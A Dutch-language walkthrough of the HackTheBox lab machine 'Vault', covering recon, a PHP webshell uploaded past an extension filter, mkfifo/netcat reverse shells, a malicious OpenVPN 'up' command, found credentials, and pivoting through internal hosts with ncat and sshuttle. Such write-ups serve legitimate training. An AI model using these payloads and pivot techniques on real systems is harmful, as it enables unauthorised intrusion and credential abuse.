HTB – Vault

Recon

nmap

nmap geeft alleen http (80) en ssh (22):

root@kali:~/htb/vault# nmap -sT -p- 10.10.10.109
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 06:11 EST
Nmap scan report for vault.htb (10.10.10.109)
Host is up (0.067s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.50 seconds

Website – TCP 80

plaats

Gewoon wat tekst:

1541327001907

Diezelfde pagina wordt geladen als /index.php .

gobuster

Aangezien ik de pagina zie als index.php , zal ik zoeken naar php bestanden, maar niets nieuws vinden:

root@kali# gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -x php ===================================================== Gobuster v2.0.0 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : txt,html,php [+] Timeout : 10s ===================================================== 2018/11/04 05:24:14 Starting gobuster ===================================================== /index.php (Status: 200)

Ik merkte op de pagina dat het een klant noemt, sparklays. Ik heb geprobeerd /sparklays , en het is 403 verboden. Ik zal Gobuster vanaf daar opnieuw uitvoeren:

root@kali# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/sparklays/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : php [+] Timeout : 10s ===================================================== 2019/03/27 21:13:17 Starting gobuster ===================================================== /login.php (Status: 200) /admin.php (Status: 200) /design (Status: 301) ===================================================== 2018/11/06 09:28:34 Finished ===================================================== root@kali# gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html -t 20 ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/sparklays/design/ [+] Threads : 20 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : php,html [+] Timeout : 10s ===================================================== 2019/03/28 06:56:46 Starting gobuster ===================================================== /uploads (Status: 301) /design.html (Status: 200) ===================================================== 2018/11/06 09:31:34 Finished =====================================================

changelogo.php

Een bezoek aan http://10.10.10.109/sparklays/design/design.html geeft me een andere link:

1541516499447

Naar aanleiding van http://10.10.10.109/sparklays/design/changelogo.php retourneert een uploadformulier:

1541516512185

Ik kan een afbeelding uploaden en deze met dezelfde naam vinden in /sparklays/design/uploads/ . Als ik een php-bestand upload, krijg ik:

1553772018131

Er is duidelijk een uitbreiding van de witte / zwarte lijst op de server.

Shell op ubuntu als www-data

Toegestane extensies identificeren

Eerst moet ik voorbij de filters komen om te uploaden om mijn php-shell te krijgen. Als ik mijn php-shell test.png noem, wordt deze geüpload, maar worden er fouten gemaakt wanneer ik de pagina bezoek. Maar dat zegt me dat het filter op de bestandsnaam staat.

Aangezien ik geen pro-licentie heb, gebruik ik Burp Intruder zelden, maar voor een korte lijst van een complexe query kan dit een goed geval zijn. Ik maak een lijst met exts om te controleren:

root@kali# cat exts.txt png jpg gif txt php ph3 ph4 ph5 php3 php4 php5 png.php

Nu vind ik een van mijn uploads in burp, klik met de rechtermuisknop, “verzenden naar indringer”.

Eerst wis ik alle markeringen met de knop Wissen, dan vind ik de filename=test.png , markeer de png en klik op “Markering toevoegen”. Nu heb ik dit:

1553772316219

Op het tabblad payloads selecteer ik “Simple list” en vervolgens “Load …” en geef het mijn exts.txt

1553772504051

Nu zal ik klikken op “Aanval starten”. Als ik de lijst eenmaal op lengte sorteer, is het me duidelijk dat de lengte van 717 is voor lading die is geüpload en 710 zijn lading die is geblokkeerd:

1553772553832

Ik kan elk resultaat selecteren en het onderstaande verzoek en antwoord bekijken om te controleren of dat klopt.

Upload Shell

Op basis van die resultaten wordt php5 geüpload en ik weet dat dit een geldige php-extensie is die waarschijnlijk wordt uitgevoerd. Ik bewaar een kopie van mijn eenvoudige php-webshell:

root@kali# cat cmd.php5 <?php system ( $_REQUEST [ 'cmd' ]); ?>

Ik zal het uploaden via de webpagina:

1553772732195

En het werkt:

root@kali# curl -s http://10.10.10.109/sparklays/design/uploads/cmd.php5?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interactieve Shell

Met de webshell op zijn plaats, kan ik een interactieve shell krijgen met behulp van shell.php5

<?php
system ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.70 1337 >/tmp/f');
?>

Na de shell te triggeren met

root@kali:~/htb/vault# curl http://vault.htb/sparklays/design/uploads/shell.php5

krijg ik  een callback:

root@kali:~/htb/vault# rlwrap nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.109] 41832
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html/sparklays/design/uploads$

Shell op ubuntu als Dave

Opsomming

Door rond te kijken heb ik toegang tot de thuismap van Dave en er staan ​​drie interessante bestanden op deze desktop.

www-data@ubuntu:/home/dave/Desktop$ ls -l
total 12
-rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers
-rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key
-rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh

Servers hebben een lijst met servers, en alleen op basis van de “x” en de hostnaam, denk ik dat ik naar kluis moet gaan:

www-data@ubuntu:/home/dave/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x

key heeft een enkele string, die ik later zal noteren:

www-data@ubuntu:/home/dave/Desktop$ cat key itscominghome

ssh heeft wat ik kan raden een gebruikersnaam en wachtwoord is:

www-data@ubuntu:/home/dave/Desktop$ cat ssh dave Dav3therav3123

su

Ik kan de credits testen met su , en het werkt:

www-data@ubuntu:/home/dave/Desktop$
su dave
Password: Dav3therav3123
dave@ubuntu:~/Desktop$

ssh

Ik kan er nu in met ssh:

root@kali:~/htb/vault# ssh dave@10.10.10.109 
dave@10.10.10.109's password: Dav3therav3123
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

222 packages can be updated.
47 updates are security updates.

Last login: Mon Dec 9 02:19:16 2019 from 10.10.16.70
dave@ubuntu:~$

extra hosts identificatie

Ik weet dat er hosts in het bereik 192.168.122.0/24 zijn. Ik zie dat mijn huidige host de .1 is:

dave@ubuntu:~/Desktop$ ifconfig virbr0
virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49 
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:772 errors:0 dropped:0 overruns:0 frame:0
TX packets:981 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000 
RX bytes:88103 (88.1 KB) TX bytes:79958 (79.9 KB)

Ik begin een ping-sweep en vind meteen twee extra hosts:

dave@ubuntu:~/Desktop$ time for i in $(seq 1 254); do (ping -c 1 192.168.122.${i} | grep "bytes from" &); done 64 bytes from 192.168.122.1: icmp_seq=1 ttl=64 time=0.051 ms 64 bytes from 192.168.122.4: icmp_seq=1 ttl=64 time=0.205 ms 64 bytes from 192.168.122.5: icmp_seq=1 ttl=64 time=1.05 ms real 0m0.286s user 0m0.159s sys 0m0.075s

Uit bovenstaande opmerking weet ik dat .4 “DNS + Configurator” is en .5 de “Firewall” is.

Firewall

Ik start een poortscan op de .5-host met behulp van nc . Het duurt iets langer om te voltooien en vindt niets.

dave@ubuntu:~$ time for i in $(seq 1 65535); do (nc -zvn 192.168.122.5 ${i} 2>&1 | grep -v "Connection refused" &); done real 20m4.802s user 2m49.629s sys 6m47.633s

Dit is niet verwonderlijk voor een firewall.

DNS + Configurator

Tegelijkertijd start ik in een andere SSH-sessie een poortscan op .4. De twee open poorten keren vrijwel onmiddellijk terug:

dave@ubuntu:~/Desktop$ time for i in $(seq 1 65535); do (nc -zvn 192.168.122.4 ${i} 2>&1 | grep -v "Connection refused" &); done Connection to 192.168.122.4 22 port [tcp/*] succeeded! Connection to 192.168.122.4 80 port [tcp/*] succeeded! real 20m37.665s user 3m9.019s sys 7m6.815s

Shell op DNS als root

Opsomming

Ik probeer mijn bestaande credits te ssh in DNS, maar ze falen.

Nu ga ik naar het web. Ik maak een port forward over ssh zodat ik de pagina via mijn browser kan openen.

root@kali:~/htb/vault# ssh -L 1234:192.168.122.4:80 dave@vault.htb
dave@vault.htb's password: Dav3therav3123
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

222 packages can be updated.
47 updates are security updates.

Last login: Mon Dec  9 03:29:18 2019 from 10.10.16.70

nu, gaat elk verkeer via mijn SSH-tunnel proxy.

Nu kan ik http://192.168.122.4:1234/ bezoeken en krijg:

1553779272175

De eerste gedachte aan dns-config.php is niet gevonden.

De tweede link naar vpnconfig.php geeft een pagina weer:

1553779324606

Als ik op “Test VPN” klik, verwijst dit naar http://192.168.122.4/vpnconfig.php?function=testvpn en wordt bovenaan “met succes uitgevoerd!” Afgedrukt (typefout met succes).

OpenVPN RCE

Er is een manier om RCE via een OpenVPN-configuratie te krijgen . De korte beschrijving is dat een config een up entry kan bevatten, het commando dat moet worden uitgevoerd nadat de verbinding is gemaakt.

shell

Ik maak een schadelijk OpenVPN-configuratiebestand als volgt:

remote 192.168.122.1 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 8181 >/tmp/f'" nobind

Nu zal ik een luisteraar starten in mijn SSH-sessie, de configuratie uploaden en op “Test” klikken:

dave@ubuntu:~$ nc -lnvp 8181 Listening on [0.0.0.0] (family 0, port 8181) Connection from [192.168.122.4] port 8181 [tcp/*] accepted (family 2, sport 53392) bash: cannot set terminal process group (1088): Inappropriate ioctl for device bash: no job control in this shell root@DNS:/var/www/html# id uid=0(root) gid=0(root) groups=0(root)

In de dave homedir vind ik user.txt :

root@DNS:/home/dave# cat user.txt a4947faa...

ssh

Ik zal ook een ander ssh bestand vinden, met nieuwe creds:

root@DNS:/home/dave# cat ssh dave dav3gerous567

Ik kan ssh in als Dave:

dave@ubuntu:~$ ssh dave@192.168.122.4 dave@192.168.122.4's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 98 packages can be updated. 50 updates are security updates. Last login: Thu Mar 28 13:04:43 2019 from 192.168.122.1 dave@DNS:~$

Dave kan ook sudo , dus ik kan teruggaan naar root als ik wil:

dave@DNS:~$ sudo -l [sudo] password for dave: Matching Defaults entries for dave on DNS: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dave may run the following commands on DNS: (ALL : ALL) ALL dave@DNS:~$ sudo su [sudo] password for dave: root@DNS:/home/dave#

Shell kluis als Dave

Lokale telling

Ik heb de .bash_history bestanden bekeken voor root, dave en alex. root en dave waren niet interessant, maar ik zag dit in alex’s:

ping 192.168.5.2

Dat is een nieuw adres dat ik nog niet heb gezien.

Ik wil controleren of dat IP-adres in een van de logboeken is weergegeven, dus ik zal een grep . -r doorzoekt alle bestanden in het gegeven pad (in dit geval /var/log ):

root@DNS:/# grep -r "192.168.5.2" /var/log Binary file /var/log/auth.log matches Binary file /var/log/btmp matches

Ik kan de vlag -a op grep gebruiken om de overeenkomst in een binair bestand weer te geven en -H om te zorgen dat de bestandsnamen worden afgedrukt:

root@DNS:/var/log# grep -rHa "192.168.5.2" /var/log /var/log/auth.log:Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 16:49:02 DNS sshd[1943]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 16:49:02 DNS sshd[1943]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1560]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1590]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1590]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 17 21:58:26 DNS sshd[1171]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 21:58:29 DNS sshd[1249]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 21:58:29 DNS sshd[1249]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1466]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1496]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1496]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:06:26 DNS sshd[1500]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.5.2 user=dave /var/log/auth.log:Jul 24 15:06:28 DNS sshd[1500]: Failed password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:28 DNS sshd[1500]: Connection closed by 192.168.5.2 port 4444 [preauth] /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1503]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1533]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1533]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1536]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1566]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1566]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f /var/log/auth.log:Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /var/log/auth.log:Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53 N[z<ssh:nottyalex192.168.122.1N[z<ssh:nottyalex192.168.122.1N[zssh:nottydave192.168.122.1N[zssh:nottydave192.168.5.2d2W[ssh:nottydave192.168.122.17W[zssh:nottydave192.168.122.18W[zssh:nottydave192.168.122.18W[zssh:nottydtty1tty1davem9[ܧ]ssh:nottydave192.168.122.1@[zcssh:nottydave192.168.122.1T[zP

Er is een heleboel activiteit op 17 en 24 juli die eruit ziet als SSH op poort 4444.

Er zijn meer interessante dingen op 2 september waarbij de volgende drie opdrachten worden uitgevoerd:

/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f /usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53

Vault-inventarisatie

Omdat nmap op de host is geïnstalleerd, voer ik dezelfde opdracht uit om .2 te scannen zonder de bronpoort in te stellen en krijg ik alles terug gesloten:

root@DNS:/var/log# nmap 192.168.5.2 -Pn -f Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:05 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0042s latency). Not shown: 998 filtered ports PORT STATE SERVICE 53/tcp closed domain 4444/tcp closed krb524 Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds

Ik kan echt laten zien waarom 53 en 4444 melden gesloten te zijn terwijl al het andere niet aan het einde van Beyond Root .

Wanneer ik de --source-port=4444 , krijg ik verschillende resultaten terug:

root@DNS:/var/log# nmap 192.168.5.2 -Pn -f --source-port=4444 Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:09 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0038s latency). Not shown: 999 closed ports PORT STATE SERVICE 987/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds

Op basis van de andere twee interessante opdrachten, zal ik zien dat het instellen van de bron op poort 53 dezelfde resultaten geeft:

root@DNS:/var/log# nmap 192.168.5.2 -Pn -f --source-port=53 Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:10 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0032s latency). Not shown: 999 closed ports PORT STATE SERVICE 987/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 25.04 seconds

Ik kan zien wat er op 987 wordt geluisterd met nc :

root@DNS:/var/log# nc 192.168.5.2 987 -p 53 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

ssh

ssh heeft geen optie om een ​​bronpoort in te stellen. Dat brengt me echter bij de volgende twee interessante opdrachten van auth.log :

/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53

Ik zal naar het eerste commando kijken. Het voert ncat listening uit op poort 1234. --sh-exec staat ncat toe het volgende commando uit te voeren met /bin/sh en zijn stdin te verbinden met stdout van de originele luisteraar. Dus in dit geval sluit ik ons ​​af met een luisteraar op 1234, en wordt de invoer doorgegeven aan een andere ncat die is aangesloten op 192.168.5.2:987 met behulp van ncat 53. Dat betekent dat ik, zodra ik dit heb ingesteld, vervolgens naar lokale ncat 1234, en het zal me doorverbinden met kluis.

Start de tunnel op de achtergrond:

root@DNS:/var/log# /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & [1] 1449

Maak nu verbinding met ssh en gebruik het dns-wachtwoord van dave:

root@DNS:/var/log# ssh dave@localhost -p 1234 The authenticity of host '[localhost]:1234 ([::1]:1234)' can't be established. ECDSA key fingerprint is SHA256:Wo70Zou+Hq5m/+G2vuKwUnJQ4Rwbzlqhq2e1JBdjEsg. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:1234' (ECDSA) to the list of known hosts. dave@localhost's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 96 packages can be updated. 49 updates are security updates. Last login: Mon Sep 3 16:48:00 2018 dave@vault:~$

rbash

Ik bevind me in een beperkte rbash shell:

dave@vault:~$ cd / -rbash: cd: restricted

Maar dat is gemakkelijk te ontsnappen door sshing in met -t bash :

root@DNS:/var/log# /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & [1] 1453 root@DNS:/var/log# ssh dave@localhost -p 1234 -t bash dave@localhost's password: dave@vault:~$ cd / dave@vault:/$

root.txt.gpg

In het huis van Dave in kluis is er een bestand:

dave@vault:~$ ls root.txt.gpg

gpg vertrouwt op de sleutel die is opgeslagen in de lokale sleutelhanger. Ik zal proberen het te ontsleutelen in een kluis, wetende dat dat te gemakkelijk is om te slagen:

dave@vault:~$ gpg -d root.txt.gpg gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available

Ik zal proberen het bestand naar andere machines te verplaatsen. base64 lijkt niet in de kluis te zijn, maar base32 is:

dave@vault:~$ base32 -w0 root.txt.gpg =

Ik ga terug naar dns en maak het bestand:

root@DNS:/dev/shm# echo = | base32 -d > a.gpg root@DNS:/dev/shm# file a.gpg a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b .

Probeerde te decoderen als root en dave:

dave@DNS:~$ gpg -d /dev/shm/a.gpg gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available
root@DNS:~# file /dev/shm/a.gpg a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . root@DNS:/dev/shm# gpg -d a.gpg gpg: directory `/root/.gnupg' created gpg: new configuration file `/root/.gnupg/gpg.conf' created gpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this run gpg: keyring `/root/.gnupg/secring.gpg' created gpg: keyring `/root/.gnupg/pubring.gpg' created gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available

Nu ga ik terug naar de oorspronkelijke host.

dave@ubuntu:~$ echo = | base32 -d > /dev/shm/a.gpg dave@ubuntu:~$ file /dev/shm/a.gpg /dev/shm/a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . dave@ubuntu:~$ gpg -d /dev/shm/a.gpg You need a passphrase to unlock the secret key for user: "david <dave@david.com>" 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) Enter passphrase:

Dit is veelbelovend! Ik zal het bestand in het bureaublad van Dave onthouden, key :

dave@ubuntu:~/Desktop$ cat key itscominghome

Binnenkomen dat werkt en de rootvlag uitspuwt:

gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 "david <dave@david.com>" ca468370...

gebruikte referenties : https://0xdf.gitlab.io/2019/04/06/htb-vault.html

SSHUTTLE

Dit artikel bevat de handmatige manier om tunnels in te stellen en verkeer te krijgen waar het heen moet. Het is ongelooflijk nuttig om te begrijpen hoe je dat kunt doen zonder gespecialiseerde tools. Het is echter ook leuk om te zien hoe gemakkelijk een taak kan zijn met een goed hulpmiddel.. sshuttle wordt door de maker beschreven als een ‘transparante proxyserver die werkt als een VPN voor een arme man. Vooruit over ssh. Vereist geen admin. Werkt met Linux en MacOS. Ondersteunt DNS-tunneling. ”Laten we sshuttle in actie zien!

Voor we starten mogen we shuttle eerst installeren.

apt-get install sshuttle

Laten we met dat compleet het equivalent van onze SOCKS-proxy en voorwaartse tunnel instellen. Het onderstaande commando blokkeert, wat betekent dat we volgende commando’s moeten uitvoeren in afzonderlijke terminals.

sshuttle -r dave@10.10.10.109 192.168.122.0/24
══════════════════════════════════════════════

dave@10.10.10.109's password: Dav3therav3123
client: Connected.
sshuttle options used:

    -r
        The remote hostname and optional username and ssh port number to use for connecting to the remote server.
    SUBNET
        A list of subnets to route over the VPN, in the form a.b.c.d[/width][port[-port]].

Dat is het! Na het uitvoeren van de bovenstaande opdracht kunnen we rechtstreeks naar de website op 192.168.122.4 bladeren (zonder het gebruik van burp of foxyproxy). We kunnen ook rechtstreeks contact opnemen met en ssh naar 192.168.122.4.

Vervolgens kunnen we sshuttle instellen om naar het netwerk van Vault te routeren.

sshuttle -r dave@192.168.122.4 192.168.5.0/24
═════════════════════════════════════════════

dave@192.168.122.4's password: dav3gerous567
client: Connected.

Nu kunnen we contact opnemen met Vault’s ssh-server rechtstreeks vanuit Kali

Auteur: Jacco Straathof

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *